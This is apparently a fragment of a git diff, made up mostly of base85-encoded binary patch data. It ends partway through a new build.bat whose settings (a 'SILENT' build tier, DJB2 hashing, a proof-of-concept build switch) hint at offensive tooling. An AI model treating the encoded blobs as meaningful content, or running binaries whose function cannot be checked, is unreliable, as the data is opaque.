z?>%gLm~;ut2Ej)bDJ{xM>l832L&Pl=?lv|pQj9c~GUgR)o=?;`&o-vhhuAgYH^zPW zz03%{*etQAI*h}i^%^{x@AqSID|TBwM-CEX=29><#J!tVT*77CC$R`)TrE8T<9F(R zSu?)-P5=Jk|5kX+ylN$Lb*vLo#S4CVM2oEs-hS|L>GD@8Nwhzt7M|^ z=Ttj(ZFFBxuzvl1*_djJ+-W!JFuYYH7NSDm-y1aEa%S6Dd6?|1RM7|PpG3`y5Bw;% zzA*FwKE+RYMtmTH5xLy{k}$m#npw{zlQH+sUcoIn^1Xy30CNXS-41Z zqJDL5T!=mnw5|zvw~kG&M$}`KyF8k&{=y>p-)Kd7~^X{ zR!ZDc&$H>&47okJP_r)HOI*=ow4UV*yM%S_aZE)q4O;K@quZb@iup=`L}^9cUThkz zrp9W}PJ+SQ*YXa&y|nM4a0VmK`g6`@+Aln&wo!Ek!;ScO4#FLlhB-t<^~$w~(iW8t z*LrmoZ%5P&_se92W0}^qeOOfY`aaSb>(S$W-Xd&Ov&J88Q5<$v*dT=4KUkhVV7t=` z*DTlC$|=nw6Ya4#_L_&)vB<_9#b!8XeN?Yh&(U1zj8z?T)irK`;?m!P$$#+RvvE=0 Xd5y+@+)7<8{6`NtA1t)EhWNo5a>$i8PMMuf7BeG4P5 zb*wQ4V`hG5)aU!@b8q+l{^9L7XU_9}me=!o-p?};x3txcGjK8h0C4=~A2)6Tz#%LE zP@5g01+Nfp^zH+Iobt^Z*YxkDtW2Pv{XQJWJN0-u-TwY$uz5Mv12>ijbYTObb@EK& z3LEE+8DA7xp=q0H6-J+OXlA5vxDSXt~2j6dfbSM}$l_*fWTJsq7sO|TIwVV7xPxw4&u zJ8$=*^<8Th`jr0>Ks>oHe6V8QF{CaG{>rUxMc^=C?RZE5-|GZ!z~C(uwi059#6vmv zV8cw=76L{bzy%%gdbbrT>z!u`ynylH5Ta-Zj5v-18f}j(`_nIX4EZ;wk|*AxAwbE6 zHrj2Oa8uYMwpL!avj;jMDle8-!U(uGt$5eYt@GHt#ygxCq6*fk70dDD`*d^}R|5fn zDtEy~&)LY&w_Qx=fYYT||77}iBF}t0tnTe4c#JFiPX^jrIGqHnue%*hnJJ@bBCN@t>dQ+VE{oX{@S}u}^%DY??|OaW6!t&T z94V6XAv>%#o(r-DtR$l1REM|K%C&oa3K*asBr`L`%!%k{Htf?1p|3g^B=*I z{N;c~4GqTk8pQNc)wXf9d1sqpaQ7D{Us4l1+79o?aFbJnNLg7!lK|kJ;=(u&-4;_M zdgBpt&fwcG%q6l}!ltr)x<@T}rrk~hSFf3lES48g0|S|vK}650X$(*K5|$kRPT{;e z0@A~L^Ca)yt4O+wjo>zZJTB1{R3s^Uyz-R2`aS#x=e7m!_^>|xhGxaux~r3@h7v(4 zu9}pK>z-i0v(2J$V_LGJI$e1>HNGZu4OUzu^CmPIjf#f?zy)j$#(}5cR zp7ep62y(hNk&?hs#>`E3%7OOOJuPD=Nf(LwlXLBuIgrV zf{=kJSfx*a00`71zguejwBq_JPjLXa6$?6HYzDJHkeb|SAnmPDNWE)9qI|VAC)XuJ{6Jd#kF0082pe24uuLG_oI%!FJ~w0A>tl=+A5 zSqT7ubw=ocri|%;;Pk&P^APhJfj(>0!V*kn*9C8B3yW)ZC-;P_=hWZpH=U15c3aI-e|iLPJD~yDt3nOf{+&cE{kzS z<2)$Pt=6IDT@MfdfwB{wy!_x5Z$FKrOY^UYv$B*M=i=GA^TF5#oK^o&iekvpbnd4) zY;en6_nO2VRn(6Amw5#CHF5v`4hieuuhTKNt7JuEFnAkls&N5>tMf$h%Eu>p)|;~2 zJOlukeo&s^l8W*)u}7fc8tY}bdz@D9^MNmQ@62k(H!YMg0)QA@f?fyi8aO$9Wz(t|n8eGER5u+k<5K7Uo0vV~KFsLh@F8hl9L zpJCTp5)2FE`Sq?}*7K}WarwsfMX9{I)4I<`!WsHyu0cQwkI6-21hJjY6~xYfwk=pa z9?fj9@=c;H!T*~leoyfW(WhAkE^9ef7T1;5w1pvriU>T7cY^z61=)jDu zpN5t&o_Q-IsPUqPJje5t!OWka(IhSz?6Ztnz0{m>89&vh4SFfi?egx>jb?u`HXMqe zVh1%_ouIh7NikJ0T|L9H9?l9;@!E2@JaG5bVc@E9i{ZA6|D#<0N-E%jM|-2<`+c80 z_yUTIdA0T3FQ?*4Pqx95IT(kaT!?IyniWHBk*X{FKKp1<1lL#tho!Y*;iOA1UT4sM z2}%5In>2knE2Zzw(yF*#5LM1qN`yX>bWqwh`Wlee1NXV2!MIxc0RT!|HF!P>QT*ZM z6WE9swyptNXE7{xktFKo1&We8eNiI(qF_0;jFHQJ>H;9LyfjDpW`QBgVU3!eZ3Hh?cc@^@MS?JtN|c#Jl4XtmR3(eb;|%o){73coJN9-o zRtP9p(6(v0h9b*m&JGkiI2R43^;ghQQhspRiIGi8Fm|h2qa~o{0l*0=RibmH-Y(8o zRqx~w)e{IbEJ|4k;~Iay+s=J1ThHln?m`cY6DCTUD{ghFm(b|k>yqFN)S#$RoNK~% zRRC0_c)kTn@9H8zc>{B28$1Ej#8nQFx|WL);Q1L7vw%qF*)zRcjopKA~^QLRqC09zM{p3dG-PTmA?b z#uvw4Dc4bD0YE{MJYAY2H^CvD0(&uQ$J+Az?FuW#eIjRWzk2nh)zL!UewlO=Hu6*? zVCvbKWX;(Q^fcjBawh);y@%uO;IfksyY zERU2gVc^?$=a!=md=$T3+6Z6JIKU#uEeosPN-%zbNXtk56#Ho94)rO{4Z;gA76_=D zg|nwNgvysF+C99<1Osl+C01}Ak*g$@Udsrl{q&3&7;`O~F3KZsE?nf6)hvg7E$$KM zJfHH%#yn-gkiVe*UvzhMVAYhO)_mB(PaCzJw5lZ)trEp(-l1>WaV*SD_k+jkN*Q-= z``d6@i^_YX)-wTU3%dL`o-tBx8-~fBEI+8=Taa|qpnoulkUHr~m=7Rvu!}tR_2Jp7 z!H7~+opzxNbh*X>Pub7N^+0BDD}ZV3L<0ZGNs369vI&qT48u1HTIx&qdi@UCVk&r{ zKw#pE6!Jzz;_e$I@#MjgN=YfJr`*_)8i+4Raew3@JD}_Mkm_e7`~iwT5>#{OG>uJ0 zTrQy#(yYP5vjcs?mic1Xbd|%?O(JothgcUIh#Mg4r1p2F^_MzkEoh_~ydsp@Mj=sd z(1HAPrBz}dlfPKUC#5LzaukZfpMC<}|14?rtbNj{d6o7bT{FwRx3{s`yNRE5;vFya z+Z&zu;ERUeu|8W|`nECbFQEOO=MQYK=g)(Z!z*fDP*l14e%w7M6{fWI@nllpN8Lj8 z(`tAFdI#+nLjH*R{&O!HxKKoG*idVwf$rRX)aNtvxx)u&FsOIO(r%rH_J!$j38)ek~p%sJtiK1i3mK#R!3Hbw@FJcOLt_<6>aZ2m5eZ zgGW_}g~!^Hgi==NozTO7IG-F)px|PfD8+V9m=A0U1Ak5hE7N>yU@tDeKfWzz_CdOO z`5}8wDO+53tt$0^5aaWQ61}cTXvWFxQZr(Y)X94CJUmN#f~?#$PoANszF&W3wLSDv zQoe_n%HaH(elmIg`0GLa!M;w8i8i)Xf1$)fz}5Q)S(K8HeOXzOjZw6UYnKb;gikdrWy}m}uaUll)4>%X-uW$QrJdXUbhKKqlV>zvarho>yaY1w|2*>3(+5j^a`y~= zZZe#{%j`kG%~|-osK0j4oBTiXVx?rcI?vgay?uHmWT4K9v_pyZCF#Ijr}BH8YDfX^PocKbo#! z<1?4=GCAABygQK8u~TL8(kG;r#~iS6}~`xK1V>cRaoA&$i&ByftGe$98&3E8MYc z$BIl?>#i488%5od*juYpi|%d^^BUXk6l<*f^`|XGQDtQ_@^{6Wt%O~>z4s_!_)r0uS>vB#85kO^GcL@WiEUC#dKh5g$4@*k{n zfV$IL1scz3!X82pDhx)Pj4A;FL#SO;r&lVvq;1!Qq0vA%5VF-uGo6+5u(FA zjl|YSE!>AbYvrs5e?D-v@Th-alqG2%3ElpXoM}SUKh;q5ZCWl*b8qY0ZfZYkeYczU zQr&biitJdMn)I0AiASigvVdit^0diOwMUMu1;hR(W|xKC>d6UzP#DFjzv0ON%0N#V z)26)_>DoWk==aYa&|HElYb=VM-}R=SDZ+*=;6oJ~x;1MSFUg28O+v@=!3;lI@op%)-dTrb;LRU4 zV=kku%zka_+aFF@)3nmsInY|v>g_CW#r9gqJSu>p3ni7^_4ETQH$^|C4< zx$*0febvfElf=7+QT&w(q!D65O}5$cqPI1evW1F@UrW~jps&{Y97%GU@OsO*^TuC& zi}+%9mmR}X`tT@pX;%R{T9KfdUCD+=1=foEI>Idu$5SP?7}CDvdC5^OBYXPd<|gqx zFCD=8YXn}3I;oPudYA=wl*z#CjD_qa?`4SYHDTonk@&Phpo1;$Cel(7RaO?hji`vb zkN#cHM11KBiaaxrZ~k77Zs&Dv0a|eA51Ox+e=W^-(A?{5{Jqr?{<(9n&vh=DPeHo* zLvESiQ{uiEyBBw9I8dJTOEu=m(I!4)TyKB6tA46+QpEn^=$OWcWHj4D!Q$fAnwAep zAoJ8(b$NL6XrHgo%T9vQUd{AoxO_!*b{Te7!4mx|=mvpb+U~3%kfQo8ZpfN=oL@1y zSyW=98DmcTUH?_3L5*3WX=IYlft9kqtHjYWWb-k+$U(6`HqfcV)V@U>9r5d6J4CG+ zQX!G(%fWcu+g0*vy9ib0F*=_12C0PBp?`LB7{Xt?8IFoB_V{yNXE0Cb3$w8C9e5$F zZDo!o#4yfxgW1VtnOI?Hx0V?rd}+-pWot&W*nq|hiO}>|-LKeY*#5O2A9!m{WTPa| zIn{HF&aUitd&kEdX4}bL4Oif5RL=jP8LwmF++i)fK&_D`l{=YQNSqNG*DZBql^kAbT*^o@Y?dnz-b( zrZ)~IbpPT=1Ic9{o-*=3ixwwMm))zuIlD}2*4R}R@^YL*ui}_cqtgg7+rBj3&GpZ#qqI=PSXj|{N59N^nf&mm!H0Nrg0m+?uhU^BQ`ry6%t&MK}v1YApP7xIwd z=a{Uom**{>^CGSne#X;lzoVAEVcF#L&|1a-QU+C zWzI+AKL7b7hi^7o#`OiO*|2#o5ilxVf%zjb5zM@(gx-cB!k4jcYmqh0#Ln!}8mHf1e*=H`eCww_t}|VOfhf zS6YlB&FZw*2RD@K`0qy|a9?ECJ}>Ax@HBQNF-(#LBMd4p<<@ZV?U0fMkp&jM@i}5e zaL$H;BnO?;S=Y#aL#>|x?58EW4=b}lk~@c~KA)C{(w*dEAM)N}M9!Ft>c&a??7&b@ z*FHCwFo`8YvaB6GeVnVaBDdYE=*m{|(&vb|N!(NVSiBgXKt3O&W%YhXw%mNlC$Hsv z>itaqJP|eUEOC|Qj8(kKryqgXKOFx8JRP%s_}8|_-%$LoH!S_8r*%K_wFP|e?f7bf z5pQUGmpkH*!K~L_siRjesbraMC&JRlVUBhvQpZUBJ4_dhlyKgsP!cV)`PsZ5yogwR zrM?dq!tW+Q_}EaU3)~l-Quh!JV_xVFf<{*M;qD7Ec$ub%jQr=n^zZD){Js8EiuR zIJ5W(kp6ASkR=sixZbXRg78hq(!*15P#eWD$sk6^A%rWCWsik3O8MnA>|cayo9&cY z?aKzGS_Tn3f?7WG6~LxN7p0EMiI?XvBpc6)e`KFrnez}BrNhhksQ5=d@!!Lx15&~Oi}b6eAv&Hr z-_O7k=aT1kr>NVH#I%HP?qsy;-)**ONGd=T- z6j=WAg`(c?oh@GmnM~O;$ommkjPc%T5hG!vdH-8N=?vQWPT@8Ic8^duk+J?RsqfE5 zK~>A6y>cqk5-WtAP2Rz!&3Q<50rU2qq)p!0{o!*3&4ycYxHwE+?&W1&Nj(y~Hr?3H(^gT5QM+sahgKOGfG7YJ_ zNoWk5#at3j45tIZ_-+E-rCvPpWOJkmUfD3wGJn(lEbiNPOwpV;A}%Eo1)TYHhWwrp zCAp53IJ+fERrk4zcMDtsOeCK2ybCtdf^+~LM7Xvw$!}u;-EI#1r=?`rJ0hY zh14C%8jgz~O4%L z|0Ntv#-b3sLlrsHDOr76Puo1v<iyb158@97xNtV0XSU zTnlb({(BYAnOb`?*hR#lGS<%N302zhgF;0AQUSJ#a!& zNgZ3CqqbqhZ%Yr?881_aS+bOA>-|sq&nK12yLM`W9qtj$i`S@lA2^KGiQ*qb7H#j9 z$=XS$Bjb9}5z@T0WngsFs>heA|Xn5#Y~@LLQ2 z%>(;vEKc%)$M;O%E2dHFL`^VXCUNk#=3xzqTDQnoD|**58FoYhr(+1K5t*I)rQ4%U z<{3{cxwW@4-x+RvS=%cEdtv#!@O^{*h9$d|x6R59xn4z*daOPUI#+3O3r-RX8cNmw zr6P+RwGJMH_=Ua1b)CLFeB1E_Rbu3?(IlG8a}==gh^?APSH z`TM*V&!>JNylP{R-dZZfcoB9{q~*_lQpX`-`v%Eq^10gljV>nG{`x%0-2DX#th5KF z@BZbGO7nd#qg)Fem;Q=zqg?*iSVT((nPMa+Hb2>CINq&^jM&TIOfRhrNBEqx8G> zIZe1r0Dw0HEWEm{1&O0jszW)MqweCS!(cx^+H^=zM32?;CJkf;*RdS|6O+(oY>gga1sg!|gxbvV z1%AoOZXe$$d832`^@$)LURC#ZuyvK^Vm#~x^1Nr?1EzMEsS#!y|T>7q~m=t>+Q&DvbMB|8MFf1z!w@i~A;$sF?HlEI$oG!~lr+gV; zyurRrif*@WVXF|9Oj=EJ+Af%|HYDB#yJQiIKZW^0H=;|n@szd3Di<(l+t^<^1j*sG z&JBeIhY}v(;vafuik$)6?rwXEJBET!pQiMB(sE2{LEID%)IAFr$B+z9zBy;0e>_JW ziKDaMv+1_DCVbxfnlCbUDn4h5RqPx)CMc+P7guWKiX&#M3&F&jw~vWo>LLTkG!Bz4 zRj8bC)bxV-O#V|Nz9>E($7Y9~E z#VtZiZUnn@@eDy9ft$Hg77l9I+B`xLEA;A++pw)^8=EHj$gS_dk$0mbz+VR&kQFD; ze~8t>Z?jOdi<6%pfatQ?$W-tF}_8YX3rYaccyXp7Ry1&hgAee8kLArbewGl708; z5C$s(HyfFLt!~l(v9Gy{AXGj4e;mWmvug7Wlg8{K4cLon-!fV2WT18*0C!eC!UI%% z&#&!|psZR{Q_=(?sT;Le#n|!ZXUg5`VbDS>;C;Dpp@iqPBP9mhjVZ~azi*ncL(g@o zHM2uAoGta4$F|^*Bwrp&;F#@`?#?1r)UnFyEHHtQ@m^%na`U;%SA6&7$OPvax0u~H zX@Wv<|I@gFXv^LOu1v4~>bU#a4y*m=cHU{%lR1M(<*w3a9w;d6y?)(j`%O*w_%k8a zIM2()y}ZIiRx>OFxO_H7Kcq#F8*~oq4v?Z6zf+yC4(4nRKd{6|-Zv2GE?v!s6iois zR67JJz4FsQRHMIY0}DQCjxkbuVn}nV`gVUv>q=8{bg_(&c1EOQ5n@i8gkAZWcvZ9$CI>XQ1DL%Zy+@`e5 zqXo`ORQQ1;$ycR3ZN8nlPpVoh?^|d8Lz*Zh6Acou47Bv%6VdW1T^1KX! zzLN0-_BXSneat?dAL;VdiLd{-P$|(np;Xggz;ITT{kNF7^f8A#HdcEdZmKf2!FQf% zf&gIlE{76@X1^W4K;%(uZ4)@(!U`@ZzkVuyB9CGB3c(>Q8gP-?2u`WcUX%r&X&kfY ztfw|(70E~z{Q9Lx+N)F4z*8~6*n?5f^woRt5Cpx9MUt^(`TO-7nl-qEhE--7BPinZp1o?Yg*xXppm8+?#tXdG2s%4 z4K$9VfBxZUVIxntrA9l0kK5h#wn_4bR1@Eh+9Gi1tzb008SJVQj7~Qn*m=lxgOcQi zzLzP6Cl3P8ItpBXR*W)a8LB7(wYh^2E!cD&8Ldd1_!Cd= z$&-a0m0ELMGNCW_-7~1{!qI4A!uqz--WIlJRJ|T?dkr;pw=Mn_!g=$< z3X}4FqUm^_S;A*&4xf3XbJgO`yl(Angawtwpn7G&qTRTKR?gXL?W@fxB5CX&4&tPS(JZV{5T(BYXg@6MyuD`CE z_o{eN3V6lXUOJ5u9h=p=DBUEYy8-8Y?Ih-D*u%b$WeH}lN9U36c@^_v=__BIkR;D9 z0)FQXL?1>hY=6bULD6HZ$ene+3E_7H#wH&SUJ1T=os?k{Ra{Y{B9y z?c~r}UgBDNGKF?ALD}5fr2_yV%IqR2BP^7HiQr#MCqPvvCYQjOV3b8n3C~&3bHwRv zuKWS+W@x-#ylIl}YTjFp8iuS=i!S{=cU^Z0gV?)|blS&}E&j7@tl4uciT!ITt5sfQ^X&-tdY(hCrYt_nBp9X|N?i6MdC zC<4n+f*za>5s=>6IK%@0>nChrwuck|KyMKP-(MXkl&Jf}e)iCPRjoolD_UAySgBOC za5^0Rn3wdtdVV_d!>~Nt48>)*jgiji1DBbt=fvgfz|S<8gozI2Z1iSZiOr=jDyK^a zZkZg9{|!-LXiFJ?X?KE7$7{p%w|wMS!1DqrHVIPF7<3{EjXSsV6b)+!fMDuSoN6Z{ zh@82hxG;*?+UE-7_(8F~FWL}~Q7$|?SAdM5Y%KnOAkkx;-a9lQx+`kmGuUy4cjL*ob^H%YT##d$bG9;LV!EFVUFPK;BCaT`g?pMDgS4PoZ;(rg6QF7K-FQiTvo#YDoAB zY37;_s()xlz87jCckDQ02TQ%H>5$xYkRCODJA&o1HB|$G9Zn9(Q9{|6_D6)ssVAHU zg7<#F6Xp`g?Eok}mLe=ziu+O${jHY_S?_H=$7xFq&ZT2L3_cX8I4BzE+SJ8wX}fHY zQtQT+#-*zZljEV2*74wnK|-Obl-+N#49Qd8m6%Y{UGEzS;t9HCT%l2NoN;-OHvJG# z@FE`iEWLsoNV{T_nz8sBHP91Z()}59pkUchDF2%{(2@a7kQiprl3D#f%o7K}Ka~(^ z_o(ViAIFWip<012;As;No0+G@JcPm2>ObE0?^3pY?6JL`W6+i z$~+{f0^WG95JA|e14quE=Jm+%>v<~Zt=6h=tkraQpe1qQxnCh@j2gG5K6P)5srOJwRIx7T}7?=*3oGM%a8sm>(FTU&nzbX<^(wz>ftnn2+ z_TpJ8aqKl!3!eb1r6{*yf%%V?AJ4!WoV0QrH}XwIL&8v1-k1Y z#eAvcl8*+Qd!0>cD_z7P|LvM<9gyU-N8Et%Z#Jo2U^oP4o*WuI1!}^W8N6_ka^b|# z=;}JqaBnfzQ=)bN07Q;py&v`*2lUgq zj*Z`yD#5-x1a#i)fQ+B->noDs0i0Eg!|BG^TWO#`8lMgKq0qa4HDeRxFhxH#9M%l< zAdY)$e?Q3kK?X_$HC{2^#qy26c?2Fbm!%|J?dh4)>UHYAZA&+;(dvJ;tXMfFMusSq ztK0!e>3#VC0*EX9&z8Gyu%8CbY8Z!0ofx1BwxduK%3-sU`1^fo;Q5;ef+@Ym*25~a zz@;0;;YsxCK;t=~#HQ=|OzU+PLF8@1V%_1~%32S%0tQHxW@gs_Avd~EZu6?#eI?m| z4CzJY#Z@brgVObHjk>=!Yks;R2Xsf^vCD0o=XJ4{1~>DK>}i4-eozL0>-Peke4Ui; zdmQ(Nodv@NDi|!uAMtAzwghGG-gS>Ls0C(i<|rK=`gqlO7z&%VmvOnbkyG^FuZH~R zsO?9J`Nz}s0WfF*z(gzWs_58z0|~s8mr@l@F2PVMX$h>-SwF?9(pf5OwRk1mf4jHS h)I7brg5D>hxb)LUx*VgZm^Y2b>HL~E}?X3g^q7(%L9y}5d;B0k0m=_QT z(-07#-V_kf&lM1myqDi>XRvi)*KJEP69NAAQG`WhZ1wC8HMcU|P2F|qkj}*iV4CYz z*N(toYsVb}$cUE$0y6sMCYK!Vlj!5onJ2wpbpC9tY(dSXzW{a3=x6NxXuPDDnp%E3 z?U2Tv;Jp*Z#)6mrJo#u*Z;3M!)jw4;x5#{5s4Zm&dMaf2JUCle^3umW&u@SHNO){4 zCZ0~<=`Gzt=q9RCxMTWxw53# z{)_xU%y`gt#|3h&hT!%|&$Zm`J05tS?cM(SC*bI|iv(^S7tz{o-y}XhzTIBSZW!N@ zY17$!cS^=;Uf(Wt_bv{;`n!H|xn7M=CX$4MfuN_BLs;~0`D;GwJ^tetw5EX8b_L78 z*ZhXgFb!z+Ba0+oOhree&Yk&0MA;{o=P|FP){r`EoUSTBsiE^c6{F+GIeuqu`mGp^ zUw={m$!Z8h1MJ^|o8ReoD%hfGcyOsn^hfj_Q%Yo9AvcIkdvQ4rLI(1J{3eVMH>%X(3s?AqB{A zp7!+6ibpde>3$wnx7B5p7EK<1@u_^iKAK7uwQ@|k!Laq-sf>Ky{254Jz$+OQe!3=l z2NXYK%B4Gq2x*o9ie=q~tt6*6608cSwIQ?hPhG8??>xaShqR~!(>HES`yKxyOhr9e zr1kbp$T<(J*@CZkA>_9df^m(Ny3FBDwOpX9KYSf)hcN%lt?-I@p_a11p3nkbRD?9T z8(t*_M?yDdYtF)p>=hNzcpn7R%^yxRvB}Rt@9BINVRe^`sP{?N{EP>VZZ3t^Jm*+( z7cC#+|NXK!`y2mAd1+ac%c9K53463OH_42A1VgJip$b_@O+qI10Sw-&Mj>Y}aI!l( zKKCKBzZ?WTUesbzd=0tarZc=s(PYQGKo8X`a+Y)oxrHKB%_Q^ zm#dvWp3RAq! z142RWqpi2DL1$Pmp2jLt4k=Ibdprqq#5!;BRq+dU%ghxeu5r)AzRN~~N{Ok{5zQ^K z5N$bjY1O#>=eM1XVPJ@}^Ul)}~_^f*z&Qm$?$PHXSDX z%~EItKyh^0X09>fpcY*7Kijg79V+ZW_>0q!NQJw7$H3VhLyC|Q!&c8y>c{=29Ic7u zP$Ha97s7~O!T^`la+W1A^p@tKmHymQ;)gul{z*PnpvXuM6wPNRmP6cUUn=wRyK6ZL|4!N)Y% zJgFlC%$yoXu8QwR=vojD$`GEBD&#q9WLBV=c%Gc)RKH@9~{lE^|ebCRqs$<77-lwjzG0bVGhs*ZIIsuQlnQ^M>#mEP|3 z0m&3Mq~!fs&T`V56UF1*3|SKrfC}dQ#*O?7P!L>^=tWtHUc8{^f6 zI-RIlM$1iqP_b&xUGf60F58eIl)x%0yuHiGf3s^6f263?MOKgfvCtfh@IG@Id#g!o zwfI>}h?XBPkhn6jMiHbIlOo}$L;@>WiyAosH+z!u`rTW@*%l|xae#mYD=uh|(I^V^ z+I(p7%09o{L1#b;3<7728IJ+%cUcI@;phCmu9cOCz0R0C{C4TNq_my#{PbMu%w31> zpjej|Yf`AIIM*9jjc&*5-Wg)q7;(+)xFnls`IMoh<$=S2XS1@PoG~9%IbG)48yDgd z&Mcsi+zczzfAH4DPn9d|PCgGJo_MlwNdmnw`=~tWm}+N~cW-J+eQ-h6t{|(V-xQWB zmSfl{)Y?XJxLtltW!)Ld=7Ci?!XK0J0l}V9V~L9{&d2%9QM|$vPI;j6j)qR31<42U z2+RNw?ntb;L3;T+ul)IWjG!`GTFrOu~5it_Ok6H-c_U4%DZ_h6S&!YonaoI z^wRuxO?*nZQ;Ol68%9+fpp1cfw&5XlTlvKWaV9r|HBQLwj)6ZslCK@N(f-eg;@9l= z2=3Sv2yE~qo|aRc?&DnZJZ9bM70XLutzLn>E(Y>nD(+8-HyzzN|eKmUw+FvbNlioe_r&U+EJc zT3Pz4aU(y1gNpdrTn;tcg$*qjZUfeM3@avRYj>xaS)GjA%XzArr^atTA;c)W)(jFw z?5WRB{rb}`j#^zl!>Ah`$#HR;6QPK{`nr*H1}R9xV=WDxMFy@ndp#_-;)kxsh3slG zr{O<)Mpy5LE1$VS6(Wp_Kc0A4ek1a+^kz^{Z&6CQ2j@D<)wAAY!X;}hSM=g57SBdR z=!I59J;?~DaWmCm^Y%Zo@UPDO6BclI%Qo#v!d?nd6X>XaEcJcMt}dbL>4=6hBiW6@brez zruz89VSu}cWH;WQju>dMtkRwSeJy(vU&_ubtdyYG&q$2CbLsSqmeU}Q^^KQs zclu6%rh!^P$|^eW93As{)xs15{TiWWGGhYOz=xC_3)==j z{|ncC1xANA?M&;7p7;4GC5*>umCfgwrAVhqU2sz(CcOMsw47m;HB)Bmz1;LO!{Ura z$65G&_>g~Q_~odXGj9HY&5;kwg=3`)(}wK{LGDV#UnYyE)bfTD1n; z81zQ6h@zXyke+Pnq$uoC01+NK9$?q9JYhL?u-HOG<=vEEa7{rfqHQeEsKz`fvnbvQ zeNqxb5T^~XDaDn;jg&kGVqUkyLoxeqDCgR8x z=$dmcy7dAsXH4KSdzsPeV@EL_7caB$sHzPpsg7lMyDUMFGv>ch3`*^#>_f6fFDg~i z)%hER4B&^%IsEja*2MINoOyIp_ge;VGc3>G+>F+(?jw=akPxP)&4M|Cuk4=N|93(61F&E2Z6H}O zoMOb!GEa+mIdQ*W|MD6^WcMjNj0nc09s(!ojg6{9wo=HO>K2!!2Of3roQV4h(G8;e z2piT@Tn;Veq(>Fg!qHt^-B!-eTGH^xlXBihm4kPRz1+wnCEBRIUfDQmUzu2PIP1CV zT(OZ|%j%aj2shn_?J8<;e04H9xMm=~yMitvND(DnfSpo@;9<<%s70$1lDFpU%Csms zU&Y$iUS}E3OuGT$#xJ$l5*e>D%biZofDi49IP8!5A1SRYd$~z*u;Oq6X*fx%{SZV>iBi-zbkn1};!=PGJ5&552aF)WK0JD2 z(WI{YMqx;qS@N*AYGcCm=8vzT%!Yk+b)Ib$1@D*fJ}O`M zb|o_jJch24iT{#2bffNiO9~h-8;@ym@lds5Vj$e2rj1F3WN~F}UQKU7S_@TFCOh`> zZz&$ga3Z?;Fh(XOqOly4*!7$wDU)AW@MUI~m-3$p-0gkBOJzRZ2v!`mSVNYP#54>m zehb`T9)yHJVRMFrzt2UFN5}hR$ctH@b+vu8q1sG&#W#LJwn$f_jOO7#9BVabw9GtuU4Fy%dG`_fBN7S82-%FAG&@; zdRIwfOA%jGA>%s;eR6Qj*!zPBL@Ric8&Ze9af1ip7UELbSw|=w-d8iPwYZFZqo3Sk zdvt9ds$`SD)=0Ze_Z;-nV%%mM@-|zT!*`LhOhOaHai@9I1si2K=Hv^uB2>%41U zu_!a*!EjbZ=g|ZPPiBFLCR@zY(M!)S!Pl;aHChGRBRcxE?Wx zEbxbUy^M0`ZHbsmUEBBl$(VRDqj-}$V)K;Lm3BP@r>q=%J{IK(FJxT1cWU?L?=kIv z@5-!b|D^r(_pW3Q?mj4C>c8H`?ZK^I@S|0tH$>6O2_6V(+`ah+V~&MAJtWqRaR~Rg z!%Gt@Dg1iXl<>nxi{iSk(#MoxQ}y{7d&QZDR~>?)B*wGJG7dDQ{;q;<7x=x`1{wvn zW>?OipHER!`c$K;cYVRpn>8IsI<4ETtJ_obwBxFwf%pB4hFBvP7HrsSb$l+Fag#7i zsEuN3Z@KaIr5mGM>KV~2Ph5RD|7EWvh zvcYt($;-E=no^$@jy))UJpN@NaYJU>RVquKsrQW5b!&9QUN#=`VNDUki(XdYyQ8mf zB}D5yAMoNpm?Nfb)#nRAoS`+@X6a_y2SmW8T#S4QH#RRZKjj5xUos_W9hhtSUNG`; zJ@n$XhG^_``+sD(UpM_<1i=1yRo5)Wb!W-`dtbir6DvSF!R{+dkylpFWDK`lS0>aW z$!EZI*y%(Pj2AI+6eAJQkQXd+`Er&84&+OUwk@;3Ed#JT<1;T7@(fpYVm2Gn9}I_F z9cE<12Y&7|#d@Sq17V3E{Z-~SrG}olWHHP#P;Ic;TGiaA`=C)y8!x2O{bN zSc>(WG|mPc#Z=RLD(ODxug)yZ0$4E!J=Wr8!{49z4%-$V-825m_N`=BG~^o%;M7oD z0~jbR52@~ZtND4ZS!~7N*!VaPg1wa+<2=K$L}mjdqRO31(qs7Tsg3ZBr!me+CmaH~ zzZG@=oz}Sx>0=ZOPB}PKokXE*{urvX6x8fEVj0E9;QF!fMrGev*^XmcK1+Yt^@#4z zEfp$65ocOd?sKdsaT8uTw!7unM8> z5&E>2R2T3h7q2Rr8bMLLo6vS5tNu;;#H%G~LpAhRR5VlQoc}cuiyZ1%rJ{AYFm-kE$ongi zTTDtNL*l4VosUwq7h=O0!S_9yB!;17CrcElJuZ!cZ2?6j>l0M+xht-8fJ{M<9l~O( z3)3C1?`wj`c*63BN=D8Sh8N&)>E#9bD!Pw-AXaO zh{*++Y;srj2@DoU%rH9A^e}&LP-%r)YdFquwZf1N3|wYb^`rh9HRhZBt18r_j8nh_ zFSumW*H^K^4T5$LjV(9)iET9LV`Gek!1+)47EQFPcs~xeWO=i?DgzCtS@|P}!$6`o z*Vab3)lW{`?|zq^ng1MT1O;`Z4C>y@aci&^HF@VBSyeuChvGgWI;b0^^s3Am4yE5P z+-P4w9=(t?8benGhCr#a;dWK%L3Ib4rfVna>d;Aj2OwN`{8%Rb`+LJHit|?nznqS< zwk{Y(cw!C&zdiw>lrG-)dl@BY&F{7LeqDbhel_((M)q{*N_+>cQ{|HBf@3g#PQTlC zydefz9u_aO(^QhBr~PqG|CDa^z=9GQA)C_ojgB>p4;>?N()ghq6zC zOk&Sb9TCjj|CBcWPc6*5E^NBjWC|8+7Q*50iFs98Dkdy9?r1L;-`FLDyB*ZyKfs3g*({rlm)y<)3c|0Fe^{xH*IqdH?-hRiG#D4@sf1ay& z7cx{E;5u_~CM43%_oR~&#OI)BIo)%7i%M3FNQ?1gK!_7pyJ)%vUmS!Ja3?EktVdBD ziiTN?sf!Jw3w!kZ-MRf;rGzal*k30peT2EtCTwT69#9Ke^WWVAET63p)H8un! zPK?~4c&sFCfPkZHzwJegZ%kxx@upn zFga2q*9V+e)zHw_(D>N= z=;A*a_y>C3y%YJb4KQ;C@mmJU|2snHU4QS8&|CiZ{;!R;-aiI;_B||i%SOQ5)Y_!x I^38|;1yCCCHUIzs literal 0 HcmV?d00001 diff --git a/build.bat b/build.bat new file mode 100755 index 0000000..cc0b4d1 --- /dev/null +++ b/build.bat @@ -0,0 +1,116 @@ +@echo off +setlocal + +set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF +set BUILD_TIER=SILENT +set BUILD_OUTPUT=DEBUGGER +set HASH_ALGO=DJB2 +set BUILD_TESTS=OFF +set BUILD_POCS=OFF +set 